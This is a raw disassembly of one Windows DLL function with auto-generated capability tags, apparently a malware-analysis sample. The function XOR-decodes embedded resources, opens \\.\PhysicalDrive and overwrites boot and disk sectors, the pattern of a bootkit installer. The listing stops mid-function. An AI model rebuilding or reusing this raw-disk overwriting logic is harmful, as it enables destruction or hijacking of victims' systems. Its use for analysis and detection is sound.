Function at 0x10001a80
Capabilities:
Encode data using xor
Read file on windows
Set registry value
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x100076ad
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6c0
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x5c]
call fcn.10001260
xor edi, edi
mov ebx, 1
mov dword [esp + 0x6d8], edi
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], ebx
mov eax, dword [esp + 0x68]
lea ecx, [esp + 0x84]
push eax
lea edx, [esp + 0xb4]
push ecx
lea eax, [esp + 0x18]
push edx
push eax
push 0x65
mov byte [esp + 0x6ec], bl
mov dword [esp + 0xc4], edi
mov dword [esp + 0x98], edi
call fcn.100018e0
add esp, 0x14
cmp eax, edi
jne 0x10001b09
lea ecx, [esp + 0x10]
call fcn.10003160
jmp 0x10002c52
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], ebx
mov ecx, dword [esp + 0x68]
lea edx, [esp + 0x94]
push ecx
lea eax, [esp + 0x58]
push edx
lea ecx, [esp + 0x20]
push eax
push ecx
push 0x67
mov byte [esp + 0x6ec], 2
mov dword [esp + 0x68], edi
mov dword [esp + 0xa8], edi
call fcn.100018e0
add esp, 0x14
cmp eax, edi
jne 0x10001b60
lea ecx, [esp + 0x18]
call fcn.10003160
lea ecx, [esp + 0x10]
call fcn.10003160
jmp 0x10002c52
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x84]
mov esi, ecx
mov al, byte [edx + ecx - 1]
cmp al, 0xaa
je 0x10001bbc
mov cl, byte [edx + ecx - 2]
xor al, 0xaa
xor cl, 0x55
cmp al, cl
jne 0x10001b49
xor ecx, ecx
cmp edx, edi
jbe 0x10001b9c
mov dl, byte [ecx + esi]
xor dl, al
mov byte [ecx + esi], dl
mov edx, dword [esp + 0x84]
inc ecx
cmp ecx, edx
jb 0x10001b88
mov esi, dword [esp + 0x94]
mov edx, dword [esp + 0x18]
xor ecx, ecx
cmp esi, edi
jbe 0x10001bbc
xor byte [ecx + edx], al
mov esi, dword [esp + 0x94]
inc ecx
cmp ecx, esi
jb 0x10001bad
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], ebx
mov edx, dword [esp + 0x68]
lea eax, [esp + 0xd0]
push edx
lea ecx, [esp + 0x54]
push eax
lea edx, [esp + 0x28]
push ecx
push edx
push 0x68
mov byte [esp + 0x6ec], 3
mov dword [esp + 0x64], edi
mov dword [esp + 0xe4], edi
call fcn.100018e0
add esp, 0x14
cmp eax, edi
jne 0x10001c0a
lea ecx, [esp + 0x20]
call fcn.10003160
jmp 0x10001b49
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], ebx
mov eax, dword [esp + 0x68]
lea ecx, [esp + 0xbc]
push eax
lea edx, [esp + 0x50]
push ecx
lea eax, [esp + 0x30]
push edx
push eax
push 0x69
mov byte [esp + 0x6ec], 4
mov dword [esp + 0x60], edi
mov dword [esp + 0xd0], edi
call fcn.100018e0
add esp, 0x14
cmp eax, edi
jne 0x10001c61
lea ecx, [esp + 0x28]
call fcn.10003160
lea ecx, [esp + 0x20]
call fcn.10003160
jmp 0x10001b49
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], ebx
mov ecx, dword [esp + 0x68]
lea edx, [esp + 0xe4]
push ecx
lea eax, [esp + 0x48]
push edx
lea ecx, [esp + 0x38]
push eax
push ecx
push 0x6a
mov byte [esp + 0x6ec], 5
mov dword [esp + 0x58], edi
mov dword [esp + 0xf8], edi
call fcn.100018e0
add esp, 0x14
cmp eax, edi
jne 0x10001d7a
mov eax, dword [esp + 0x34]
mov byte [esp + 0x6d8], 4
dec eax
mov dword [esp + 0x34], eax
jne 0x10001ccd
mov eax, dword [esp + 0x30]
cmp eax, edi
je 0x10001ccd
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x30], edi
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x6d8], 3
dec eax
mov dword [esp + 0x2c], eax
jne 0x10001cf5
mov eax, dword [esp + 0x28]
cmp eax, edi
je 0x10001cf5
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x28], edi
mov eax, dword [esp + 0x24]
mov byte [esp + 0x6d8], 2
dec eax
mov dword [esp + 0x24], eax
jne 0x10001d1d
mov eax, dword [esp + 0x20]
cmp eax, edi
je 0x10001d1d
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x20], edi
mov eax, dword [esp + 0x1c]
mov byte [esp + 0x6d8], 1
dec eax
mov dword [esp + 0x1c], eax
jne 0x10001d45
mov eax, dword [esp + 0x18]
cmp eax, edi
je 0x10001d45
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x18], edi
mov eax, dword [esp + 0x14]
mov byte [esp + 0x6d8], 0
dec eax
mov dword [esp + 0x14], eax
jne 0x10002c52
mov eax, dword [esp + 0x10]
cmp eax, edi
je 0x10002c52
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x10], edi
jmp 0x10002c52
lea edx, [esp + 0x44]
lea eax, [esp + 0x30]
push edx
push eax
call fcn.10002ed0
add esp, 8
cmp eax, edi
jne 0x10001e08
mov eax, dword [esp + 0x34]
mov byte [esp + 0x6d8], 4
dec eax
mov dword [esp + 0x34], eax
jne 0x10001db8
mov eax, dword [esp + 0x30]
cmp eax, edi
je 0x10001db8
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x30], edi
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x6d8], 3
dec eax
mov dword [esp + 0x2c], eax
jne 0x10001de0
mov eax, dword [esp + 0x28]
cmp eax, edi
je 0x10001de0
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x28], edi
mov eax, dword [esp + 0x24]
mov byte [esp + 0x6d8], 2
dec eax
mov dword [esp + 0x24], eax
jne 0x100025c0
mov eax, dword [esp + 0x20]
cmp eax, edi
je 0x100025c0
jmp 0x100025b3
mov dword [esp + 0x38], edi
mov dword [esp + 0x3c], ebx
mov ecx, dword [esp + 0x68]
lea edx, [esp + 0xa0]
push ecx
lea eax, [esp + 0x44]
push edx
lea ecx, [esp + 0x40]
push eax
push ecx
push 0x6b
mov byte [esp + 0x6ec], 6
mov dword [esp + 0x54], edi
mov dword [esp + 0xb4], edi
call fcn.100018e0
add esp, 0x14
cmp eax, edi
jne 0x10001e98
mov eax, dword [esp + 0x3c]
mov byte [esp + 0x6d8], 5
dec eax
mov dword [esp + 0x3c], eax
jne 0x10001e70
mov eax, dword [esp + 0x38]
cmp eax, edi
je 0x10001e70
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x38], edi
mov eax, dword [esp + 0x34]
mov byte [esp + 0x6d8], 4
dec eax
mov dword [esp + 0x34], eax
jne 0x10001f89
mov eax, dword [esp + 0x30]
cmp eax, edi
je 0x10001f89
jmp 0x10001f7c
lea edx, [esp + 0x40]
lea eax, [esp + 0x38]
push edx
push eax
call fcn.10002ed0
add esp, 8
cmp eax, edi
jne 0x10001ecb
mov eax, dword [esp + 0x3c]
mov byte [esp + 0x6d8], 5
dec eax
mov dword [esp + 0x3c], eax
jne 0x10001e70
mov eax, dword [esp + 0x38]
cmp eax, edi
je 0x10001e70
jmp 0x10001e63
mov ecx, dword [esp + 0x68]
push ecx
push 0x82
call fcn.100018b0
mov edx, dword [esp + 0x48]
mov esi, dword [esp + 0x4c]
mov ecx, dword [esp + 0x58]
mov ebp, dword [esp + 0x5c]
add eax, edx
mov edx, dword [esp + 0x54]
mov ebx, dword [esp + 0xb8]
add eax, esi
add eax, edx
xor edx, edx
add eax, ecx
mov esi, dword [esp + 0x88]
add eax, ebp
mov ebp, dword [esp + 0x80]
add eax, ebx
add esp, 8
div dword [esp + 0x68]
mov edx, dword [esp + 0x7c]
sub edx, 2
mov ecx, edx
sbb esi, edi
mov ebx, eax
mov eax, dword [esp + 0x74]
sub ecx, eax
mov eax, esi
sbb eax, ebp
cmp eax, edi
jg 0x10001fb1
jl 0x10001f39
cmp ecx, ebx
jae 0x10001fb1
mov eax, dword [esp + 0x3c]
mov byte [esp + 0x6d8], 5
dec eax
mov dword [esp + 0x3c], eax
jne 0x10001f61
mov eax, dword [esp + 0x38]
cmp eax, edi
je 0x10001f61
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x38], edi
mov eax, dword [esp + 0x34]
mov byte [esp + 0x6d8], 4
dec eax
mov dword [esp + 0x34], eax
jne 0x10001f89
mov eax, dword [esp + 0x30]
cmp eax, edi
je 0x10001f89
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x30], edi
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x6d8], 3
dec eax
mov dword [esp + 0x2c], eax
jne 0x10001de0
mov eax, dword [esp + 0x28]
cmp eax, edi
je 0x10001de0
jmp 0x10001dd3
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14e]
mov word [esp + 0x14c], 0
rep stosd dword es:[edi], eax
mov eax, edx
mov ecx, esi
sub eax, 2
mov ebp, edx
sbb ecx, 0
mov dword [esp + 0x8c], eax
mov dword [esp + 0x15a], eax
sub ebp, ebx
mov ebx, esi
mov eax, 0
sbb ebx, eax
mov dword [esp + 0x16a], edx
sub edx, 1
mov edi, eax
mov eax, dword [esp + 0x68]
mov dword [esp + 0x16e], esi
sbb esi, edi
mov dword [esp + 0x14e], 0x41442d4f
push esi
push edx
push edi
push eax
mov dword [esp + 0x162], 0x30
mov dword [esp + 0xa0], ecx
mov dword [esp + 0x16e], ecx
mov dword [esp + 0x172], ebp
mov dword [esp + 0x176], ebx
mov dword [esp + 0xc4], edx
mov dword [esp + 0xc8], esi
call fcn.10004a10
mov dword [esp + 0x172], eax
mov dword [esp + 0x176], edx
call fcn.10001700
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x40]
mov esi, dword [esp + 0x68]
mov dword [esp + 0x17a], eax
mov dword [esp + 0x12c], eax
lea eax, [edx + ecx]
mov ecx, dword [esp + 0x4c]
mov dword [esp + 0x58], eax
add eax, ecx
xor edx, edx
div esi
xor ecx, ecx
mov dword [esp + 0x130], 0x5cfe6fb5
mov dword [esp + 0x134], 0x9c40b0ab
mov dword [esp + 0x138], 0x804e675b
mov dword [esp + 0x13c], 0x36517641
mov dword [esp + 0x140], edi
mov dword [esp + 0x144], edi
mov dword [esp + 0x148], edi
add eax, ebp
adc ecx, ebx
mov dword [esp + 0xc0], eax
push ecx
push eax
push edi
push esi
mov dword [esp + 0xd4], ecx
call fcn.10004a10
mov dword [esp + 0x17e], eax
mov eax, dword [esp + 0xc4]
mov dword [esp + 0x182], edx
mov edx, dword [esp + 0xc0]
mov dword [esp + 0x186], edx
mov dword [esp + 0x18a], eax
mov eax, dword [esp + 0x58]
xor edx, edx
div esi
mov ecx, dword [esp + 0xd0]
mov dword [esp + 0x18e], ecx
xor ecx, ecx
add eax, ebp
adc ecx, ebx
mov dword [esp + 0x9c], ecx
push ecx
push eax
push edi
push esi
mov dword [esp + 0xa8], eax
call fcn.10004a10
mov dword [esp + 0x192], eax
mov eax, dword [esp + 0x9c]
mov dword [esp + 0x196], edx
mov edx, dword [esp + 0x98]
mov dword [esp + 0x19a], edx
mov dword [esp + 0x19e], eax
mov eax, dword [esp + 0x40]
xor edx, edx
div esi
mov ecx, dword [esp + 0xbc]
mov dword [esp + 0x1a2], ecx
xor ecx, ecx
add eax, ebp
adc ecx, ebx
mov dword [esp + 0xd4], eax
push ecx
push eax
push edi
push esi
mov dword [esp + 0xe8], ecx
call fcn.10004a10
mov ecx, dword [esp + 0xe4]
push ebx
mov dword [esp + 0x1aa], eax
mov eax, dword [esp + 0xdc]
mov dword [esp + 0x1ae], edx
mov edx, dword [esp + 0xd8]
push ebp
push edi
push esi
mov dword [esp + 0x1be], edx
mov dword [esp + 0x1c2], eax
mov dword [esp + 0x1c6], ecx
call fcn.10004a10
mov dword [esp + 0x1ba], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x1be], edx
mov edx, dword [esp + 0xa0]
test eax, eax
mov dword [esp + 0x1c2], ebp
mov dword [esp + 0x1c6], ebx
mov dword [esp + 0x1ca], edx
je 0x10002c7e
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d1]
mov byte [esp + 0x1d0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [esp + 0x64]
lea ecx, [esp + 0x1d0]
push eax
push str..PhysicalDrive_d
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x1d0]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x48], esi
je 0x10002c7e
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x2d1]
mov byte [esp + 0x2d0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc8]
push 0
push eax
lea ecx, [esp + 0x2d8]
push 0x200
push ecx
push esi
mov dword [esp + 0xdc], 0x200
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10002c77
cmp dword [esp + 0xc8], 0x200
jne 0x10002c77
mov edx, dword [esp + 0xb8]
mov eax, dword [esp + 0xb4]
mov ecx, dword [esp + 0x68]
push edx
push eax
push 0
push ecx
call fcn.10004a10
mov dword [esp + 0xec], eax
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x4d1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
lea esi, [esp + 0x14c]
lea edi, [esp + 0x4d0]
mov eax, dword [esp + 0xec]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 8
lea esi, [esp + 0x12c]
lea edi, [esp + 0x552]
mov dword [esp + 0xf0], edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x48]
lea edx, [esp + 0xf0]
push 0
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea ecx, [esp + 0xcc]
push 0
push ecx
lea edx, [esp + 0x4d8]
push 0x200
push edx
push esi
mov dword [esp + 0xe0], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esp + 0xcc], 0x200
je 0x1000249c
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x3c]
mov byte [esp + 0x6d8], 5
dec eax
mov dword [esp + 0x3c], eax
jne 0x100023d2
mov eax, dword [esp + 0x38]
xor esi, esi
cmp eax, esi
je 0x100023d4
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x38], esi
jmp 0x100023d4
xor esi, esi
mov eax, dword [esp + 0x34]
mov byte [esp + 0x6d8], 4
dec eax
mov dword [esp + 0x34], eax
jne 0x100023fc
mov eax, dword [esp + 0x30]
cmp eax, esi
je 0x100023fc
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x30], esi
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x6d8], 3
dec eax
mov dword [esp + 0x2c], eax
jne 0x10002424
mov eax, dword [esp + 0x28]
cmp eax, esi
je 0x10002424
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x28], esi
mov eax, dword [esp + 0x24]
mov byte [esp + 0x6d8], 2
dec eax
mov dword [esp + 0x24], eax
jne 0x1000244c
mov eax, dword [esp + 0x20]
cmp eax, esi
je 0x1000244c
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x20], esi
mov eax, dword [esp + 0x1c]
mov byte [esp + 0x6d8], 1
dec eax
mov dword [esp + 0x1c], eax
jne 0x10002474
mov eax, dword [esp + 0x18]
cmp eax, esi
je 0x10002474
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x18], esi
mov eax, dword [esp + 0x14]
mov byte [esp + 0x6d8], 0
dec eax
mov dword [esp + 0x14], eax
jne 0x10002c52
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x10002c52
jmp 0x10002c45
mov esi, dword [esp + 0x48]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [esp + 0x90]
mov edx, dword [esp + 0x8c]
mov eax, dword [esp + 0x68]
push ecx
xor edi, edi
push edx
push edi
push eax
call fcn.10004a10
lea ecx, [esp + 0x120]
push edi
push ecx
push eax
push esi
mov dword [esp + 0x12c], eax
mov dword [esp + 0x130], edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [esp + 0xa4]
push edi
push edx
lea eax, [esp + 0x2d8]
push 0x200
push eax
push esi
mov dword [esp + 0xb8], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0xa4]
push esi
cmp eax, 0x200
je 0x100025e8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x3c]
mov byte [esp + 0x6d8], 5
dec eax
mov dword [esp + 0x3c], eax
jne 0x10002548
mov eax, dword [esp + 0x38]
cmp eax, edi
je 0x10002548
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x38], edi
mov eax, dword [esp + 0x34]
mov byte [esp + 0x6d8], 4
dec eax
mov dword [esp + 0x34], eax
jne 0x10002570
mov eax, dword [esp + 0x30]
cmp eax, edi
je 0x10002570
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x30], edi
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x6d8], 3
dec eax
mov dword [esp + 0x2c], eax
jne 0x10002598
mov eax, dword [esp + 0x28]
cmp eax, edi
je 0x10002598
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x28], edi
mov eax, dword [esp + 0x24]
mov byte [esp + 0x6d8], 2
dec eax
mov dword [esp + 0x24], eax
jne 0x100025c0
mov eax, dword [esp + 0x20]
cmp eax, edi
je 0x100025c0
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x20], edi
mov eax, dword [esp + 0x1c]
mov byte [esp + 0x6d8], 1
dec eax
mov dword [esp + 0x1c], eax
jne 0x10001d45
mov eax, dword [esp + 0x18]
cmp eax, edi
je 0x10001d45
jmp 0x10001d38
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0xb4]
mov edx, dword [esp + 0xb8]
mov dword [edi + 6], ecx
mov dword [edi + 0xa], edx
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x4c]
add eax, ecx
mov ecx, dword [esp + 0x50]
add eax, edx
add eax, ecx
xor edx, edx
div dword [esp + 0x68]
mov edx, dword [esp + 0x68]
xor ecx, ecx
add eax, ebp
adc ecx, ebx
mov dword [esp + 0x8c], eax
push ecx
push eax
push 0
push edx
mov dword [esp + 0xa0], ecx
call fcn.10004a10
lea ecx, [esp + 0x118]
push 0
push ecx
push eax
push esi
mov dword [esp + 0x124], eax
mov dword [esp + 0x128], edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x54]
lea edx, [esp + 0xac]
push 0
push edx
push eax
push edi
push esi
mov dword [esp + 0xc0], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0xac]
mov eax, dword [esp + 0x54]
cmp ecx, eax
push esi
je 0x10002746
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x3c]
mov byte [esp + 0x6d8], 5
dec eax
mov dword [esp + 0x3c], eax
jne 0x100026cc
mov eax, dword [esp + 0x38]
xor esi, esi
cmp eax, esi
je 0x100026ce
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x38], esi
jmp 0x100026ce
xor esi, esi
mov eax, dword [esp + 0x34]
mov byte [esp + 0x6d8], 4
dec eax
mov dword [esp + 0x34], eax
jne 0x100026f6
mov eax, dword [esp + 0x30]
cmp eax, esi
je 0x100026f6
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x30], esi
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x6d8], 3
dec eax
mov dword [esp + 0x2c], eax
jne 0x1000271e
mov eax, dword [esp + 0x28]
cmp eax, esi
je 0x1000271e
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x28], esi
mov eax, dword [esp + 0x24]
mov byte [esp + 0x6d8], 2
dec eax
mov dword [esp + 0x24], eax
jne 0x10002aa6
mov eax, dword [esp + 0x20]
cmp eax, esi
je 0x10002aa6
jmp 0x10002a99
mov edi, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call edi
mov edx, dword [esp + 0xc4]
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0x68]
push edx
push eax
push 0
push ecx
call fcn.10004a10
mov dword [esp + 0x128], edx
lea edx, [esp + 0x128]
push 0
push edx
push eax
push esi
mov dword [esp + 0x134], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x50]
mov edx, dword [esp + 0x20]
lea eax, [esp + 0xe8]
push 0
push eax
push ecx
push edx
push esi
mov dword [esp + 0xfc], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0xe8]
mov ecx, dword [esp + 0x50]
cmp eax, ecx
push esi
je 0x1000281c
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x3c]
mov byte [esp + 0x6d8], 5
dec eax
mov dword [esp + 0x3c], eax
jne 0x100027f2
mov eax, dword [esp + 0x38]
xor esi, esi
cmp eax, esi
je 0x100027f4
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x38], esi
jmp 0x100027f4
xor esi, esi
mov eax, dword [esp + 0x34]
mov byte [esp + 0x6d8], 4
dec eax
mov dword [esp + 0x34], eax
jne 0x10002968
mov eax, dword [esp + 0x30]
cmp eax, esi
je 0x10002968
jmp 0x1000295b
call edi
mov ecx, dword [esp + 0x9c]
mov edx, dword [esp + 0x98]
mov eax, dword [esp + 0x68]
push ecx
push edx
push 0
push eax
call fcn.10004a10
lea ecx, [esp + 0x110]
push 0
push ecx
push eax
push esi
mov dword [esp + 0x11c], eax
mov dword [esp + 0x120], edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0xe0]
push 0
push edx
push eax
push ecx
push esi
mov dword [esp + 0xf4], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esp + 0xe0]
mov eax, dword [esp + 0x4c]
cmp edx, eax
push esi
jne 0x100027c0
call edi
mov eax, dword [esp + 0xd8]
mov ecx, dword [esp + 0xd4]
mov edx, dword [esp + 0x68]
push eax
push ecx
push 0
push edx
call fcn.10004a10
lea ecx, [esp + 0x100]
push 0
push ecx
push eax
push esi
mov dword [esp + 0x10c], eax
mov dword [esp + 0x110], edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x30]
lea edx, [esp + 0xa8]
push 0
push edx
push eax
push ecx
push esi
mov dword [esp + 0xbc], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esp + 0xa8]
mov eax, dword [esp + 0x44]
cmp edx, eax
push esi
je 0x10002990
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x3c]
mov byte [esp + 0x6d8], 5
dec eax
mov dword [esp + 0x3c], eax
jne 0x1000293e
mov eax, dword [esp + 0x38]
xor esi, esi
cmp eax, esi
je 0x10002940
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x38], esi
jmp 0x10002940
xor esi, esi
mov eax, dword [esp + 0x34]
mov byte [esp + 0x6d8], 4
dec eax
mov dword [esp + 0x34], eax
jne 0x10002968
mov eax, dword [esp + 0x30]
cmp eax, esi
je 0x10002968
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x30], esi
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x6d8], 3
dec eax
mov dword [esp + 0x2c], eax
jne 0x1000271e
mov eax, dword [esp + 0x28]
cmp eax, esi
je 0x1000271e
jmp 0x10002711
call edi
mov eax, dword [esp + 0x68]
push ebx
push ebp
push 0
push eax
call fcn.10004a10
lea ecx, [esp + 0x108]
push 0
push ecx
push eax
push esi
mov dword [esp + 0x114], eax
mov dword [esp + 0x118], edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x38]
lea edx, [esp + 0xdc]
push 0
push edx
push eax
push ecx
push esi
mov dword [esp + 0xf0], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esp + 0xdc]
mov eax, dword [esp + 0x40]
cmp edx, eax
je 0x10002ace
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x3c]
mov byte [esp + 0x6d8], 5
dec eax
mov dword [esp + 0x3c], eax
jne 0x10002a2c
mov eax, dword [esp + 0x38]
xor esi, esi
cmp eax, esi
je 0x10002a2e
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x38], esi
jmp 0x10002a2e
xor esi, esi
mov eax, dword [esp + 0x34]
mov byte [esp + 0x6d8], 4
dec eax
mov dword [esp + 0x34], eax
jne 0x10002a56
mov eax, dword [esp + 0x30]
cmp eax, esi
je 0x10002a56
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x30], esi
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x6d8], 3
dec eax
mov dword [esp + 0x2c], eax
jne 0x10002a7e
mov eax, dword [esp + 0x28]
cmp eax, esi
je 0x10002a7e
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x28], esi
mov eax, dword [esp + 0x24]
mov byte [esp + 0x6d8], 2
dec eax
mov dword [esp + 0x24], eax
jne 0x10002aa6
mov eax, dword [esp + 0x20]
cmp eax, esi
je 0x10002aa6
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x20], esi
mov eax, dword [esp + 0x1c]
mov byte [esp + 0x6d8], 1
dec eax
mov dword [esp + 0x1c], eax
jne 0x10002474
mov eax, dword [esp + 0x18]
cmp eax, esi
je 0x10002474
jmp 0x10002467
mov ebp, dword [esp + 0x48]
push ebp
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ebx, dword [esp + 0x10]
mov ecx, 0x12
lea esi, [esp + 0x488]
xor eax, eax
lea edi, [ebx + 0x1b8]
rep movsd dword es:[edi], dword [esi]
xor esi, esi
lea ecx, [esp + 0xf8]
push esi
push ecx
push eax
push ebp
mov dword [esp + 0x104], eax
mov dword [esp + 0x108], esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0x8c]
mov eax, dword [esp + 0x90]
mov dword [ebx + 0xe], edx
mov dword [ebx + 0x12], eax
mov eax, dword [esp + 0x54]
xor edx, edx
div dword [esp + 0x68]
lea ecx, [esp + 0x58]
push esi
push ecx
push 0x200
push ebx
push ebp
mov byte [ebx + 8], al
mov dword [esp + 0x6c], esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x58]
push ebp
cmp eax, 0x200
je 0x10002c6d
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x3c]
mov byte [esp + 0x6d8], 5
dec eax
mov dword [esp + 0x3c], eax
jne 0x10002b8a
mov eax, dword [esp + 0x38]
cmp eax, esi
je 0x10002b8a
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x38], esi
mov eax, dword [esp + 0x34]
mov byte [esp + 0x6d8], 4
dec eax
mov dword [esp + 0x34], eax
jne 0x10002bb2
mov eax, dword [esp + 0x30]
cmp eax, esi
je 0x10002bb2
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x30], esi
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x6d8], 3
dec eax
mov dword [esp + 0x2c], eax
jne 0x10002bda
mov eax, dword [esp + 0x28]
cmp eax, esi
je 0x10002bda
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x28], esi
mov eax, dword [esp + 0x24]
mov byte [esp + 0x6d8], 2
dec eax
mov dword [esp + 0x24], eax
jne 0x10002c02
mov eax, dword [esp + 0x20]
cmp eax, esi
je 0x10002c02
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x20], esi
mov eax, dword [esp + 0x1c]
